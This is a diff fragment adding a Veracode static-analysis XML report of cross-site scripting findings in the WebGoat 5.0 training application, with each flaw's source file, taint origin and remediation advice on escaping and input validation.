+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"121\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"75\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"220\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"188\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"15\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"183\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"191\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"20\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable message.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpSplitting.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpSplitting\"
+        functionprototype=\"apache.ecs.Element doHTTPSplitting(session.WebSession)\"
+        functionrelativelocation=\"55\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"221\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"1\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"230\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"241\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"263\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
